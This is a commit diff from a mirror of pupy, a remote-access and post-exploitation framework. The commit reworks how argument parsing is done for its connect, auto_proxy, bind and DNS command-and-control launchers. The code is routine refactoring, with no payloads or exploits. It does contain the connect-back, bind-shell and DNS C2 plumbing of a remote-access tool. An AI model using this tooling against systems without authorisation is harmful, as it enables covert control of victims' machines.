mirror of https://github.com/n1nj4sec/pupy.git
Rework launchers arguments parsing
This commit is contained in:
parent
9924bb1691
commit
65db4e26da
|
@ -16,8 +16,8 @@ def parser(server, handler, config):
|
|||
return pupygen.get_parser(PupyArgumentParser, config=config)
|
||||
|
||||
def do(server, handler, config, args):
|
||||
if not args.launcher or (args.launcher and args.launcher == 'connect'):
|
||||
args.launcher = 'connect'
|
||||
if not args.launcher or (args.launcher and args.launcher in ('connect', 'auto_proxy')):
|
||||
args.launcher = args.launcher or 'connect'
|
||||
transport = None
|
||||
transport_idx = None
|
||||
host = None
|
||||
|
|
|
@ -6,37 +6,16 @@
|
|||
import logging
|
||||
import importlib
|
||||
|
||||
launchers = {}
|
||||
import sys
|
||||
|
||||
try:
|
||||
from .lib.launchers.connect import ConnectLauncher
|
||||
launchers['connect'] = ConnectLauncher
|
||||
except Exception, e:
|
||||
logging.exception('%s: ConnectLauncher disabled', e)
|
||||
if not hasattr(sys, 'pupy_launchers'):
|
||||
setattr(sys, 'pupy_launchers', {})
|
||||
|
||||
try:
|
||||
from .lib.launchers.auto_proxy import AutoProxyLauncher
|
||||
launchers['auto_proxy'] = AutoProxyLauncher
|
||||
except Exception, e:
|
||||
logging.exception('%s: AutoProxyLauncher disabled', e)
|
||||
if not hasattr(sys, 'pupy_transports'):
|
||||
setattr(sys, 'pupy_transports', {})
|
||||
|
||||
try:
|
||||
from .lib.launchers.bind import BindLauncher
|
||||
launchers['bind'] = BindLauncher
|
||||
except Exception, e:
|
||||
logging.exception('%s: BindLauncher disabled', e)
|
||||
|
||||
try:
|
||||
from .lib.launchers.dnscnc import DNSCncLauncher
|
||||
launchers.update({
|
||||
'dnscnc': DNSCncLauncher
|
||||
})
|
||||
|
||||
except Exception as e:
|
||||
logging.exception('%s: DNSCncLauncher disabled', e)
|
||||
DNSCncLauncher = None
|
||||
|
||||
transports = {}
|
||||
transports = sys.pupy_transports
|
||||
launchers = sys.pupy_launchers
|
||||
|
||||
def add_transport(module_name):
|
||||
try:
|
||||
|
@ -91,3 +70,31 @@ except ImportError:
|
|||
|
||||
for loader, module_name, is_pkg in pkgutil.iter_modules(trlib.__path__):
|
||||
add_transport(module_name)
|
||||
|
||||
try:
|
||||
from .lib.launchers.connect import ConnectLauncher
|
||||
launchers['connect'] = ConnectLauncher
|
||||
except Exception, e:
|
||||
logging.exception('%s: ConnectLauncher disabled', e)
|
||||
|
||||
try:
|
||||
from .lib.launchers.auto_proxy import AutoProxyLauncher
|
||||
launchers['auto_proxy'] = AutoProxyLauncher
|
||||
except Exception, e:
|
||||
logging.exception('%s: AutoProxyLauncher disabled', e)
|
||||
|
||||
try:
|
||||
from .lib.launchers.bind import BindLauncher
|
||||
launchers['bind'] = BindLauncher
|
||||
except Exception, e:
|
||||
logging.exception('%s: BindLauncher disabled', e)
|
||||
|
||||
try:
|
||||
from .lib.launchers.dnscnc import DNSCncLauncher
|
||||
launchers.update({
|
||||
'dnscnc': DNSCncLauncher
|
||||
})
|
||||
|
||||
except Exception as e:
|
||||
logging.exception('%s: DNSCncLauncher disabled', e)
|
||||
DNSCncLauncher = None
|
||||
|
|
|
@ -10,6 +10,7 @@ __all__ = (
|
|||
)
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
|
||||
class LauncherError(Exception):
|
||||
__slots__ = ()
|
||||
|
@ -26,26 +27,34 @@ class LauncherArgumentParser(argparse.ArgumentParser):
|
|||
def error(self, message):
|
||||
self.exit(2, str('%s: error: %s\n') % (self.prog, message))
|
||||
|
||||
class BaseLauncherMetaclass(type):
|
||||
def __init__(self, *args, **kwargs):
|
||||
super(BaseLauncherMetaclass, self).__init__(*args, **kwargs)
|
||||
|
||||
self.transports = getattr(sys, 'pupy_transports', {})
|
||||
self.init_argparse()
|
||||
|
||||
class BaseLauncher(object):
|
||||
arg_parser = None
|
||||
args = None
|
||||
transports = None
|
||||
|
||||
__slots__ = ('arg_parser', 'args', 'host', 'transport')
|
||||
__slots__ = ('args', 'host', 'transport')
|
||||
__metaclass__ = BaseLauncherMetaclass
|
||||
|
||||
def __init__(self):
|
||||
self.arg_parser = None
|
||||
self.args = None
|
||||
self.host = "unknown"
|
||||
self.transport = "unknown"
|
||||
self.init_argparse()
|
||||
|
||||
def iterate(self):
|
||||
""" iterate must be an iterator returning rpyc stream instances"""
|
||||
raise NotImplementedError("iterate launcher's method needs to be implemented")
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = LauncherArgumentParser(
|
||||
prog=self.__class__.__name__, description=self.__doc__)
|
||||
@classmethod
|
||||
def init_argparse(cls):
|
||||
cls.arg_parser = LauncherArgumentParser(
|
||||
prog=cls.__name__, description=cls.__doc__)
|
||||
|
||||
def parse_args(self, args):
|
||||
self.args = self.arg_parser.parse_args(args)
|
||||
|
|
|
@ -37,13 +37,14 @@ class AutoProxyLauncher(BaseLauncher):
|
|||
def __init__(self, *args, **kwargs):
|
||||
super(AutoProxyLauncher, self).__init__(*args, **kwargs)
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = LauncherArgumentParser(prog="auto_proxy", description=self.__doc__)
|
||||
self.arg_parser.add_argument('--host', metavar='<host:port>', required=True, help='host:port of the pupy server to connect to')
|
||||
self.arg_parser.add_argument('-t', '--transport', choices=[x for x in network.conf.transports.iterkeys()], default="ssl", help="the transport to use ! (the server needs to be configured with the same transport) ")
|
||||
self.arg_parser.add_argument('--add-proxy', action='append', help=" add a hardcoded proxy TYPE:address:port ex: SOCKS5:127.0.0.1:1080")
|
||||
self.arg_parser.add_argument('--no-direct', action='store_true', help="do not attempt to connect without a proxy")
|
||||
self.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments ex: param1=value param2=value ...")
|
||||
@classmethod
|
||||
def init_argparse(cls):
|
||||
cls.arg_parser = LauncherArgumentParser(prog="auto_proxy", description=cls.__doc__)
|
||||
cls.arg_parser.add_argument('--host', metavar='<host:port>', required=True, help='host:port of the pupy server to connect to')
|
||||
cls.arg_parser.add_argument('-t', '--transport', choices=cls.transports, default="ssl", help="the transport to use ! (the server needs to be configured with the same transport) ")
|
||||
cls.arg_parser.add_argument('--add-proxy', action='append', help=" add a hardcoded proxy TYPE:address:port ex: SOCKS5:127.0.0.1:1080")
|
||||
cls.arg_parser.add_argument('--no-direct', action='store_true', help="do not attempt to connect without a proxy")
|
||||
cls.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments ex: param1=value param2=value ...")
|
||||
|
||||
def parse_args(self, args):
|
||||
self.args=self.arg_parser.parse_args(args)
|
||||
|
@ -68,7 +69,7 @@ class AutoProxyLauncher(BaseLauncher):
|
|||
additional_proxies=self.args.add_proxy
|
||||
):
|
||||
try:
|
||||
t = network.conf.transports[self.args.transport]()
|
||||
t = self.transports[self.args.transport]()
|
||||
client_args = {
|
||||
k:v for k,v in t.client_kwargs.iteritems()
|
||||
}
|
||||
|
@ -148,7 +149,7 @@ class AutoProxyLauncher(BaseLauncher):
|
|||
# Try without any proxy
|
||||
if not self.args.no_direct:
|
||||
try:
|
||||
t = network.conf.transports[self.args.transport]()
|
||||
t = self.transports[self.args.transport]()
|
||||
|
||||
client_args = {
|
||||
k:v for k,v in t.client_kwargs.iteritems()
|
||||
|
|
|
@ -19,13 +19,14 @@ class BindLauncher(BaseLauncher):
|
|||
|
||||
__slots__ = ('credentials', 'arg_parser', 'args', 'rhost', 'rport')
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = LauncherArgumentParser(prog="bind", description=self.__doc__)
|
||||
self.arg_parser.add_argument('--port', metavar='<port>', type=int, required=True, help='the port to bind on')
|
||||
self.arg_parser.add_argument('--host', metavar='<ip>', default='0.0.0.0', help='the ip to listen on (default 0.0.0.0)')
|
||||
self.arg_parser.add_argument('--oneliner-host', metavar='<ip>', help='the ip of the target (for ps1_oneliner launcher only)')
|
||||
self.arg_parser.add_argument('-t', '--transport', choices=[x for x in network.conf.transports.iterkeys()], default="ssl", help="the transport to use ! (the pupysh.sh --connect will need to be configured with the same transport) ")
|
||||
self.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments")
|
||||
@classmethod
|
||||
def init_argparse(cls):
|
||||
cls.arg_parser = LauncherArgumentParser(prog="bind", description=cls.__doc__)
|
||||
cls.arg_parser.add_argument('--port', metavar='<port>', type=int, required=True, help='the port to bind on')
|
||||
cls.arg_parser.add_argument('--host', metavar='<ip>', default='0.0.0.0', help='the ip to listen on (default 0.0.0.0)')
|
||||
cls.arg_parser.add_argument('--oneliner-host', metavar='<ip>', help='the ip of the target (for ps1_oneliner launcher only)')
|
||||
cls.arg_parser.add_argument('-t', '--transport', choices=cls.transports, default="ssl", help="the transport to use ! (the pupysh.sh --connect will need to be configured with the same transport) ")
|
||||
cls.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments")
|
||||
|
||||
def parse_args(self, args):
|
||||
self.args=self.arg_parser.parse_args(args)
|
||||
|
@ -36,8 +37,8 @@ class BindLauncher(BaseLauncher):
|
|||
if self.args is None:
|
||||
raise LauncherError("parse_args needs to be called before iterate")
|
||||
logging.info("binding on %s:%s using transport %s ..."%(self.args.host, self.args.port, self.args.transport))
|
||||
opt_args=utils.parse_transports_args(' '.join(self.args.transport_args))
|
||||
t=network.conf.transports[self.args.transport](bind_payload=True)
|
||||
opt_args = utils.parse_transports_args(' '.join(self.args.transport_args))
|
||||
t = self.transports[self.args.transport](bind_payload=True)
|
||||
|
||||
transport_kwargs=t.server_transport_kwargs
|
||||
for val in opt_args:
|
||||
|
|
|
@ -22,14 +22,15 @@ class ConnectLauncher(BaseLauncher):
|
|||
self.connect_on_bind_payload=kwargs.pop("connect_on_bind_payload", False)
|
||||
super(ConnectLauncher, self).__init__(*args, **kwargs)
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = LauncherArgumentParser(prog="connect", description=self.__doc__)
|
||||
self.arg_parser.add_argument('--host', metavar='<host:port>', required=True, action='append', help='host:port of the pupy server to connect to. You can provide multiple --host arguments to attempt to connect to multiple IPs')
|
||||
self.arg_parser.add_argument('-t', '--transport', choices=[x for x in network.conf.transports.iterkeys()], default="ssl", help="the transport to use ! (the server needs to be configured with the same transport) ")
|
||||
self.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments ex: param1=value param2=value ...")
|
||||
@classmethod
|
||||
def init_argparse(cls):
|
||||
cls.arg_parser = LauncherArgumentParser(prog="connect", description=cls.__doc__)
|
||||
cls.arg_parser.add_argument('--host', metavar='<host:port>', required=True, action='append', help='host:port of the pupy server to connect to. You can provide multiple --host arguments to attempt to connect to multiple IPs')
|
||||
cls.arg_parser.add_argument('-t', '--transport', choices=cls.transports, default="ssl", help="the transport to use ! (the server needs to be configured with the same transport) ")
|
||||
cls.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments ex: param1=value param2=value ...")
|
||||
|
||||
def parse_args(self, args):
|
||||
self.args=self.arg_parser.parse_args(args)
|
||||
self.args = self.arg_parser.parse_args(args)
|
||||
self.rhost, self.rport=None,None
|
||||
self.parse_host(self.args.host[0])
|
||||
|
||||
|
@ -52,7 +53,7 @@ class ConnectLauncher(BaseLauncher):
|
|||
logging.info("connecting to %s:%s using transport %s ..."%(
|
||||
self.rhost, self.rport, self.args.transport))
|
||||
opt_args=utils.parse_transports_args(' '.join(self.args.transport_args))
|
||||
t=network.conf.transports[self.args.transport](bind_payload=self.connect_on_bind_payload)
|
||||
t=self.transports[self.args.transport](bind_payload=self.connect_on_bind_payload)
|
||||
client_args=t.client_kwargs
|
||||
transport_args=t.client_transport_kwargs
|
||||
|
||||
|
|
|
@ -203,36 +203,10 @@ class DNSCncLauncher(BaseLauncher):
|
|||
credentials = ['DNSCNC_PUB_KEY_V2']
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
self.connect_on_bind_payload=kwargs.pop('connect_on_bind_payload', False)
|
||||
self.connect_on_bind_payload = kwargs.pop('connect_on_bind_payload', False)
|
||||
super(DNSCncLauncher, self).__init__(*args, **kwargs)
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = LauncherArgumentParser(
|
||||
prog='dnscnc', description=self.__doc__
|
||||
)
|
||||
|
||||
self.arg_parser.add_argument(
|
||||
'--domain',
|
||||
metavar='<domain>',
|
||||
required=True,
|
||||
help='controlled domain (hostname only, no IP, '
|
||||
'you should properly setup NS first. Port is NOT supported)'
|
||||
)
|
||||
|
||||
self.arg_parser.add_argument(
|
||||
'--ns', help='DNS server (will use internal DNS library)'
|
||||
)
|
||||
|
||||
self.arg_parser.add_argument(
|
||||
'--ns-timeout', help='DNS query timeout (only when internal DNS library used)',
|
||||
default=3, type=int,
|
||||
)
|
||||
|
||||
self.arg_parser.add_argument(
|
||||
'--qtype',
|
||||
choices=['A'], default='A',
|
||||
help='DNS query type (For now only A supported)'
|
||||
)
|
||||
self.dnscnc = None
|
||||
self.exited = False
|
||||
|
||||
def parse_args(self, args):
|
||||
self.args = self.arg_parser.parse_args(args)
|
||||
|
@ -243,9 +217,50 @@ class DNSCncLauncher(BaseLauncher):
|
|||
self.ns_timeout = self.args.ns_timeout
|
||||
self.qtype = self.args.qtype
|
||||
|
||||
def activate(self):
|
||||
if self.args is None:
|
||||
raise LauncherError('parse_args needs to be called before iterate')
|
||||
|
||||
logger.info('Activating CNC protocol. Domain: %s', self.host)
|
||||
|
||||
self.pupy = __import__('pupy')
|
||||
self.dnscnc = DNSCommandClientLauncher(
|
||||
self.host, self.ns, self.qtype, self.ns_timeout)
|
||||
self.dnscnc.daemon = True
|
||||
self.dnscnc.start()
|
||||
|
||||
@classmethod
|
||||
def init_argparse(cls):
|
||||
cls.arg_parser = LauncherArgumentParser(
|
||||
prog='dnscnc', description=cls.__doc__
|
||||
)
|
||||
|
||||
cls.arg_parser.add_argument(
|
||||
'--domain',
|
||||
metavar='<domain>',
|
||||
required=True,
|
||||
help='controlled domain (hostname only, no IP, '
|
||||
'you should properly setup NS first. Port is NOT supported)'
|
||||
)
|
||||
|
||||
cls.arg_parser.add_argument(
|
||||
'--ns', help='DNS server (will use internal DNS library)'
|
||||
)
|
||||
|
||||
cls.arg_parser.add_argument(
|
||||
'--ns-timeout', help='DNS query timeout (only when internal DNS library used)',
|
||||
default=3, type=int,
|
||||
)
|
||||
|
||||
cls.arg_parser.add_argument(
|
||||
'--qtype',
|
||||
choices=['A'], default='A',
|
||||
help='DNS query type (For now only A supported)'
|
||||
)
|
||||
|
||||
def try_direct_connect(self, command):
|
||||
_, host, port, transport, _ = command
|
||||
t = network.conf.transports[transport](
|
||||
t = self.transports[transport](
|
||||
bind_payload=self.connect_on_bind_payload
|
||||
)
|
||||
|
||||
|
@ -281,7 +296,7 @@ class DNSCncLauncher(BaseLauncher):
|
|||
for proxy_type, proxy, proxy_username, proxy_password in find_proxies(
|
||||
additional_proxies=[connection_proxy] if connection_proxy else None
|
||||
):
|
||||
t = network.conf.transports[transport](
|
||||
t = self.transports[transport](
|
||||
bind_payload=self.connect_on_bind_payload
|
||||
)
|
||||
|
||||
|
@ -349,65 +364,80 @@ class DNSCncLauncher(BaseLauncher):
|
|||
|
||||
yield stream
|
||||
|
||||
|
||||
def iterate(self):
|
||||
import pupy
|
||||
if not self.dnscnc:
|
||||
self.activate()
|
||||
|
||||
if self.args is None:
|
||||
raise LauncherError('parse_args needs to be called before iterate')
|
||||
while not self.exited:
|
||||
try:
|
||||
connection = self.process()
|
||||
if not connection:
|
||||
continue
|
||||
|
||||
dnscnc = DNSCommandClientLauncher(
|
||||
self.host, self.ns, self.qtype, self.ns_timeout)
|
||||
stream, transport = connection
|
||||
if not stream:
|
||||
continue
|
||||
|
||||
dnscnc.daemon = True
|
||||
logger.debug('stream created, yielding - %s', stream)
|
||||
|
||||
logger.info('Activating CNC protocol. Domain: %s', self.host)
|
||||
dnscnc.start()
|
||||
self.dnscnc.stream = stream
|
||||
self.pupy.infos['transport'] = transport
|
||||
|
||||
exited = False
|
||||
yield stream
|
||||
|
||||
while not exited:
|
||||
command = None
|
||||
with self.dnscnc.lock:
|
||||
logger.debug('stream completed - %s', stream)
|
||||
|
||||
with dnscnc.lock:
|
||||
if dnscnc.commands:
|
||||
command = dnscnc.commands.pop()
|
||||
else:
|
||||
dnscnc.new_commands.clear()
|
||||
self.dnscnc.stream = None
|
||||
self.pupy.infos['transport'] = None
|
||||
|
||||
except Exception, e:
|
||||
logger.exception(e)
|
||||
|
||||
def process(self):
|
||||
command = None
|
||||
wait = False
|
||||
connection = None
|
||||
|
||||
with self.dnscnc.lock:
|
||||
if self.dnscnc.commands:
|
||||
command = self.dnscnc.commands.pop()
|
||||
else:
|
||||
self.dnscnc.new_commands.clear()
|
||||
|
||||
if not command:
|
||||
dnscnc.new_commands.wait()
|
||||
continue
|
||||
wait = True
|
||||
elif command[0] == 'connect':
|
||||
connection = self.on_connect(command)
|
||||
|
||||
if command[0] == 'connect':
|
||||
logger.debug('processing connection command')
|
||||
if wait:
|
||||
self.dnscnc.new_commands.wait()
|
||||
|
||||
with dnscnc.lock:
|
||||
logger.debug('connection proxy: %s', command[4])
|
||||
if command[4]:
|
||||
logger.debug('omit direct connect')
|
||||
stream = None
|
||||
else:
|
||||
logger.debug('try direct connect')
|
||||
stream = self.try_direct_connect(command)
|
||||
return connection
|
||||
|
||||
if not stream and command[4] is not False:
|
||||
logger.debug('try connect via proxy')
|
||||
for stream in self.try_connect_via_proxy(command):
|
||||
if stream:
|
||||
break
|
||||
def on_connect(self, command):
|
||||
logger.debug('processing connection command')
|
||||
|
||||
dnscnc.stream = stream
|
||||
stream = None
|
||||
transport = None
|
||||
|
||||
logger.debug('connection proxy: %s', command[4])
|
||||
if command[4]:
|
||||
logger.debug('omit direct connect')
|
||||
stream = None
|
||||
else:
|
||||
logger.debug('try direct connect')
|
||||
stream = self.try_direct_connect(command)
|
||||
|
||||
if not stream and command[4] is not False:
|
||||
logger.debug('try connect via proxy')
|
||||
for stream in self.try_connect_via_proxy(command):
|
||||
if stream:
|
||||
logger.debug('stream created, yielding - %s', stream)
|
||||
pupy.infos['transport'] = command[3]
|
||||
break
|
||||
|
||||
yield stream
|
||||
if stream:
|
||||
transport = command[3]
|
||||
else:
|
||||
logger.debug('all connection attempt has been failed')
|
||||
|
||||
with dnscnc.lock:
|
||||
logger.debug('stream completed - %s', stream)
|
||||
dnscnc.stream = None
|
||||
|
||||
else:
|
||||
logger.debug('all connection attempt has been failed')
|
||||
return stream, transport
|
||||
|
|
|
@ -588,10 +588,10 @@ def pupygen(args, config, pupsrv, display):
|
|||
display(Error(e.message))
|
||||
raise NoOutput()
|
||||
|
||||
launcher = launchers[args.launcher]()
|
||||
launcher = launchers[args.launcher]
|
||||
while True:
|
||||
try:
|
||||
launcher.parse_args(args.launcher_args)
|
||||
launcher.arg_parser.parse_args(args.launcher_args)
|
||||
except LauncherError as e:
|
||||
if str(e).strip().endswith("--host is required") and "--host" not in args.launcher_args:
|
||||
myip = get_listener_ip(external=args.prefer_external, config=config)
|
||||
|
|
Loading…
Reference in New Issue